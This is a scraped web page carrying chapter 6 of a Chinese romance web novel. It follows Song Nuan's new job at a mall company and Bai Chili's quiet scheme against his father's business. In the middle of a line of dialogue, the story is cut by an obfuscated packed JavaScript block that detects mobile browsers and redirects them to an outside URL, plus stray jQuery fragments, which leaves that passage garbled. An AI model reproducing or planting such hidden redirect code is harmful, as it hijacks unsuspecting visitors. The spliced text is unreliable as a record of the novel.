6. 第六章 蚁穴
作品:《白日暖阳》 白池礼在白家别墅只住了一天,在出差回来的白世涛面前刷了个脸,晃悠了一圈,第二天就走了,据说是去申城母亲那边了。
白世涛一面抱怨着这个儿子像是只没有脚儿的小鸟儿,没个安稳停留下来的时候,一面对他去申城杜家也不阻拦,只交代他别停留太长时间,早些回来。
“这我可说不准,外公说可想我了。”晚餐时,白池礼一边用着餐,一边漫不经心的回。
白世涛冷“哼”一声,“怎么不见你在家里多住个几天的,去申城倒是去得勤快。”
白池礼夹了一片松口磨送入嘴中,慢条斯理的吃下后,才不紧不慢的回,“哦,我妈也说让我多住些日子陪陪她,要不,你和她打个商量?”
白世涛一噎,不悦的蹙起眉,可到底也没再说什么。
这些年来,他对杜家并没有什么微词,尤其是他那前妻杜琼兰,真要认真细究起来,不知为何,他倒还有些不甚明显的躲闪与不愿提及之心。
眼见白世涛被堵住了话不再逼逼了,白池礼嘴角扯出一抹弧度,带着一分不为人知的讥诮之意。
餐桌上的气氛莫名凝固住了,蒋蓉瑶适时开口笑着打圆场,“老白,小白刚刚回来,去看看妈妈和外公这是礼节,你置什么气呢?等小白回来后,不就都住在帝都了么,你啊,到时候可别嫌弃儿子碍你的眼就行了。”
说着,她又朝白池礼道,“小白这些年来都在美国,对申城不熟吧?小暖自小在申城长大,对那儿最熟悉了,你有什么想知道的都可以问她。”
白池礼看了眼蒋蓉瑶,又看了眼宋暖,不知想到什么,他突地一笑,朝着宋暖顽劣的WINK了一下,“好啊,那就有劳小阿姨了。”
宋暖在众人看不到的角度偷偷翻了个大白眼,然后对着对面那明显不怀好意的人装模作样露出标准八齿假笑,端着一副长辈的姿态从容回,“不客气。”
话是这么客气的一说,但以他们两人互相不对盘的相处模式来看,她才不认为他会真的如此厚脸皮,好意思“麻烦”她呢。
若是他真的好意思不耻下问,到时候她不睬他不就得了,反正谅他一个大男人也不至于会小肚鸡肠到在她姐面前告她什么小黑状吧,宋暖暗自打着自个儿的小算盘。
_______________________
白池礼不在,宋暖是举双手双脚赞成的,那个纨绔草包小白痴,看他一眼,都让她觉得胸闷气短,眼睛生疼。
之后的几天,宋暖跟着白家的司机又练了几天的车,她本身就是有驾照的,只不过拿到驾照后没有一个人上路过,有点胆怯而已,这样练了几天,也就上手了。
蒋蓉瑶自从和白世涛结婚后,天天不是跟着那些豪门太太们名媛们各种套近乎,聚会社交,就是跟着私教学打高尔夫,学骑马,学滑雪等等,各种费心维持婚姻的新鲜度与共同话题,一颗想要努力打破那层无形的阶级壁垒的企图心昭然若揭,每天的生活倒是过得忙碌又充实。
宋暖在白家住了十来天才寻得一个蒋蓉瑶正巧在家的时机,她眼珠子一转,先去了趟厨房,亲自煮了一壶上好的猫屎咖啡----蒋蓉瑶最近附庸风雅的最爱,端着去了阳光房。
“姐,我给你煮了一壶咖啡,你喝喝看。”宋暖在蒋蓉瑶对面的软椅上坐下来,殷勤的亲自为她斟上一杯,放到她面前。
蒋蓉瑶的目光从手中的慈善晚宴邀请函中移开,落到宋暖的身上,她眉眼不动,眼中神色淡然,在她看来,无事献殷勤,非奸即盗。
蒋蓉瑶不动,宋暖就再接再励,她又将咖啡杯往蒋蓉瑶的面前推了推,一脸无辜样的道,“你喝喝看嘛,有没有张嫂的水平。”
蒋蓉瑶承了她的意,喝了一小口,才慢慢问,“说吧,什么事儿?”
宋暖“嘻嘻”一笑,软着声音晓以大义,企图说服蒋蓉瑶,“姐,你看我都在你这儿住了有十来天了吧,你是不是能放我出去租房子住啦?住在这里也不利于我来回奔波找工作啊,你说是不是?”
说到这个,蒋蓉瑶眼中闪过几缕思量,她放下咖啡杯,问她,“上次和你说的,去永达购物中心上班,你考虑得怎么样了?”
“啊?没考虑过啊。”她以为蒋蓉瑶就是随口那么一说,根本没多想过什么。
“那你现在想。”蒋蓉瑶嫌弃的瞪她一眼。
宋暖挠了挠脑袋,一开口就是拒绝,“不要了吧。。。”
“你不是做商场运营推广的吗?你要找的工作想必也是这个方向的吧?在帝都能与永达购物中心比肩的能有几家大型连锁商场?这么好的一个机会现在就摆在你的面前,你为什么不要?你是不是个傻的?”蒋蓉瑶是个急性子,不待宋暖说完,她就打断了她,小嘴叭叭叭的说教道。
宋暖努了努嘴,“可那是白家的公司啊,我去那儿不太好吧?这不明摆着占便宜走后门嘛。”
蒋蓉瑶闻言,一脸看傻子的眼神看着她,无语的摇了摇头。
如今白池礼回来了,也不知道他什么时候会回美国去,要是他不回美国了,那他日后必定是要进永达集团接白世涛的班的。
就算白池礼这个人再浪荡不羁、纨绔草包、不学无术,可他背靠着家世雄厚的白家,又有母亲那边杜家的扶持,还有乔家的支持力挺,拥有如此得天独厚,无人能及也无可取而代之的优势,将来永达的那个高位,甚至是白家的话语权,想来也只会是他一个人的囊中之物罢了。
而她,作为一个后继妻子,一个后妈,也许等到将来白世涛百年之后,除了那一纸婚前财产公证的协议,她什么都得不到。
永达集团是白家的根基,内里的关系盘根错节,她暂时还无法染指分毫,而永达购物中心作为永达集团向零售业迈进与探索的一个尝试,一个新兴产物,成立只有不过短短几年时间,不管是公司规模也好组织架构也好,要显得年轻化简单化许多,也许她筹谋筹谋,还能分上一杯羹。
而宋暖正巧又是做这块儿出身的,如果能为她所用,姐妹同心,成为她的助益,那一定会更事半功倍。
可惜,她表妹这人是个单细胞直来直往的简单生物,说这些她必定是听不懂也不会帮着她的。
反而,在她的直球思维中,可能还会将她蒋蓉瑶想象成了个觊觎白家财产的恶毒白眼狼了,所以还不如先不告诉她为好。
只要宋暖进了永达购物中心,以她对她丝毫不会有防备的心思,将来她想要套什么话探什么密还不是易如反掌?
而且,以宋暖这种纯粹直爽,毫无心机的行事做派,若是以她为筹谋,反而不会引起他人的怀疑。
蒋蓉瑶低头喝完半杯咖啡,心思已定,再抬起头时,已是盖棺定论的语气,“你去永达购物中心上班,我就让你自个儿住在外面,至于白家这里,不用你担心,我会来和老白说,给你安排个好职位,房子我也会给你找好。
“可是。。。”
蒋蓉瑶将咖啡杯放到小茶几上,挑了挑眉,言语间似有几分白世涛身上那种上位者睥睨蝼蚁的影子,“没有可是,你接受最好,不然我就和小姨说,你不适应在帝都的生活,将你打包快递送回申城去,你自己选。”
“。。。”
宋暖敢怒不敢言的瞪着她,不甘的鼓了鼓腮帮子,她才不要回申城呢,她说过不要回去的,她不要再见到那个人。
最后,思来想去的宋暖只能暂时先屈服于蒋蓉瑶的淫威之下,以求将来再徐徐图之谋后着。
___________________________
也不知道蒋蓉瑶是怎么向白世涛吹的枕边风,总之,三天后,宋暖就收到了永达购物中心的OFFER,还是运营部部长的头衔,宋暖看着邮件上的TITLE,一双眼眸不由得瞠大----
这,这,这,这也太抬举她了吧?
要知道她在申城时可只是一个组长的资历啊,她真的能担此重任吗?这,白世涛会不会太过儿戏了点,太过任人唯亲了点啊?
还没等她反应过来,蒋蓉瑶又丢给了她一套房子的钥匙和一辆车钥匙,直接将她打包出门走马上任了。
好在,经过将近一个月的适应与兢兢业业的摸索,宋暖总算是熟悉了永达购物中心旗下各大商场内的品牌布局情况与经营情况,也算是在购物中心总部混熟了。
永达集团旗下的购物中心属于独立经营模式,由于公司成立了才七八年的时间,内部的组织架构更趋向于扁平化与简单化,而员工年龄层也相对更年轻化。
就拿宋暖所在的运营部来说,虽然宋暖承了个部长的头衔,但部门里也就只有一个资历最深的负责商场里活动现场场地施工安装的李哥李佑,刚刚毕业一年负责和商场内各品牌方沟通对接活动的小艾,还有和她差不多时期入职的周洲和丁可,人不多,大家又都是年轻人,方便沟通,也有利于各种创新灵感与火花的激发与碰撞。
在永达购物中心虽然只工作了一个月都不到,但宋暖已经喜欢上了这份新工作,即使每天都又忙又累的,不过工作本身很富有挑战性,她自己是觉得很满意也很有干劲儿的。
唯一让人不满意的是,宋暖翻了个身,从暖和的被窝里探出手,捞过放置在床头柜上的手机,看着上面新冒出来的一条微信信息,烦躁的皱了皱眉,没有再犹豫,她直接将对方设置成了消息免打扰模式,然后盖上被子,继续睡觉,对那条信息选择性置之不理。
这白池礼也不知道是哪根三叉神经出了错,最近一段时间来一直在微信上问她申城有什么好玩儿的酒吧和夜店,关键还是在每晚夜深之时骚扰她。
他一个纨绔富二代,草包小白痴,只会夜夜笙歌,沉迷于声色场所,难道他以为所有人都和他一样那么奢靡无度无所事事的吗?
她可是个要上班的人好不好,打工人很辛苦的,才没有那个闲暇空余在半夜三更搭理应酬他呢。
而且,虽然她是申城人,但对于那些纸醉金迷歌舞升平的场所,那可是她的知识盲区呢。
所以,当作没看到他的微信信息,不予置理才是上上策。
哼,反正他远在申城,鞭长莫及的,能奈她何?
_________________________
此时申城江边的杜家别墅内,白池礼眼见微信对话框里久久没有回应,他手指又往上翻了翻,整个聊天界面中全部都是他发出的消息,而对方没有任何回复过,他意味不明的勾了勾唇角,倏地一笑,然后按灭手机屏幕,丢在一旁的茶几上。
“哥,你在给谁发微信呢?瞧你笑得那一脸□□的。”杜星朗斜靠在露台的栏杆处,没个正行的歪着身子,朝着白池礼调侃道。
白池礼抬头睨了他一眼,怼回去,“眼神不好就去看眼科,早就医早治疗,千万不要讳疾忌医,可别耽误了病情,导致将来落个残疾。”
杜星朗不满了,他站直了身体直嚷嚷,“嘿,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136085|196288||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谁眼神不好了?你可别狡辩啊你,我看到了的啊,那微信头像明明是个姑娘家家。”
白池礼端起茶几上的红酒喝了一口,才不急不缓的道,“那是蒋蓉瑶的表妹。”
“嗯?白世涛新娶的那女人?”自多年前杜琼兰和白世涛一拍两散解除了联姻关系离婚后,两家已多年不曾来往了,杜家的众人对白家尤其是白世涛向来是嗤之以鼻的,就连杜星朗这个小辈对白世涛都是直呼其名没有丝毫尊重可言的。
“嗯。”
杜星朗俯下身子凑近他,不怀好意的笑,“你该不会是对那什么表妹的存着不可告人的心思吧?”
白池礼掀了掀眼皮,淡淡扫他一眼,“你想多了。”
“呵,是我想多了,还是你做多了?不然你大半夜的和她发什么微信啊?”杜星朗明显不信。
“蒋蓉瑶安排了她进永达购物中心。”白池礼晃了晃酒杯,望着杯中的红色液体,不知在想着些什么。
杜星朗一愣,继而嘲讽一笑,“想不到那女人倒是会哄白世涛啊,这就安排了人进永达?”
接着又想到什么,杜星朗自以为自己悟了,他点了点头,娓娓道来,“按你的计划你也是准备要进永达购物中心的,所以,你现在提前和蒋蓉瑶的表妹套近乎,是准备利用她?”
白池礼不悦的抬头看向他,“蒋蓉瑶要利用宋暖那是蒋蓉瑶的事,也是那宋暖自个儿愚蠢,与我无关,我白池礼要做的事,还不屑利用任何人,更何况还是个傻兮兮的被人卖了还替人数钱的蠢蛋。”
他如此三番四次的骚扰宋暖,不过是为着降低宋暖的戒心,不在她面前泄露出他的真实性情与意图,好叫蒋蓉瑶甚至是白世涛不提前察觉出什么罢了。
杜星朗想了片刻,慢慢道,“所以,乔家多次的有意示好你都装作看不明白,也不予以回应,不是不想欠乔家的人情,而是,单纯的不屑利用乔家?”
白池礼“嗤”笑一声,“乔家自来与我无关,从前无关,将来也不会有任何关系。”
“那乔安娜呢?我可听说她追你追得紧啊。”杜星朗挑眉戏谑的看向对面的人。
白池礼依旧不为所动,又喝下一口酒后,他薄唇吐出毫无感情的四个字,“与我何干。”
杜星朗陪着喝了几口酒,手撑在身后的栏杆上,他思索几番,有些不解,又问,“其实你为何不直接进永达集团呢?永达购物中心是独立运营的,就算出了什么事,说到底对永达集团也影响不大吧?”
白池礼望向远处漆黑一片的江面,良久才凉薄的道,“有没有听过一句话,千里之堤溃于蚁穴,如果永达购物中心出了什么事,你以为永达集团真的能独善其身么?”
杜星朗侧头,随着他的视线一同望向一点亮光都照不透的江面,微微叹了口气。
他知道他表哥这人一旦决定了的事,任何人都劝不了,当然,于这件事上,他也不会劝,于是他只说,“有什么需要的,告诉我,别忘了,杜家也是你的后盾。”
白池礼摇了摇头,“不需要。”
杜星朗皱起眉,不满的道,“诶,我说,你是不是没把我当兄弟,没把杜家当作是家了啊?有你这么见外的吗?真把我们也当作是乔家了啊?”
白池礼从江面上移开目光,落在杜星朗的脸上,正色道,“这件事从头至尾都是GCAS的战略谋划而已,与杜家无关,也无需将杜家牵连进来,杜家这些年来在国内的发展趋势很好,又何必蹚这趟浑水呢?”
“我。。。”杜星朗张了张口,刚开口一个字,又被白池礼给打断。
“而且杜家的重心在国内,与在美中概股无关,与金融圈无关,与白家更无关。”
“将来要面对白家众人的是我,也只能是我,与你或舅舅无关,也无需外公操心。”
“星朗,你要真是我兄弟,就别暗中做多什么小动作,于这件事上无益不说,指不定还会激发白家与杜家之间的矛盾,何必呢?”
杜星朗还想再说什么,恰巧他的手机有微信提示音响起,他低头一看,眼中浮现出笑意,人一边往外走去,一边无奈的道,“算了算了,随便你了,你只要记着,还有我这个弟弟就行了,我家宝贝找我,我不跟你说了。”
白池礼朝他翻了个白眼,吐槽,“恋爱脑上头。”
杜星朗耳尖,听到了,他站在露台边,毫不客气的回头呛声,“哼,至少我还有女朋友,你呢?你有女朋友么你?你谈过恋爱么你?”
“我啊,就等着有一天,你栽在哪个女人手里,非她不可至死不渝的,到那时我再来问问你,到底谁才是恋爱脑。”
“滚吧,这么多废话。”白池礼嫌弃的朝他丢了个杯垫。
杜星朗“嘻嘻”笑着偏头躲过,麻溜的快步离开了,整个大平层露台只余了白池礼一人在。
三月下旬的申城白日里已回了暖,昼夜温差大,夜里露水重,江面上升腾起薄薄的白雾,看着有些朦胧的虚无缥缈,白池礼望着远处,一边漫不经心的喝着手中的红酒,一边在脑中细细规划着布局。
不知怎么的,思绪却渐渐飘远了,想到刚刚杜星朗离开前的话,白池礼不禁失笑。
恋爱么?
真的会有一个人是能让他觉得,非她不可至死不渝的么?
也许是露台光线昏暗的缘故吧,映照在他棱角分明俊朗无俦的侧脸上,不知怎么的,显得他嘴角的那抹弧度似乎弥漫着一丝几不可见的讥嘲之色。

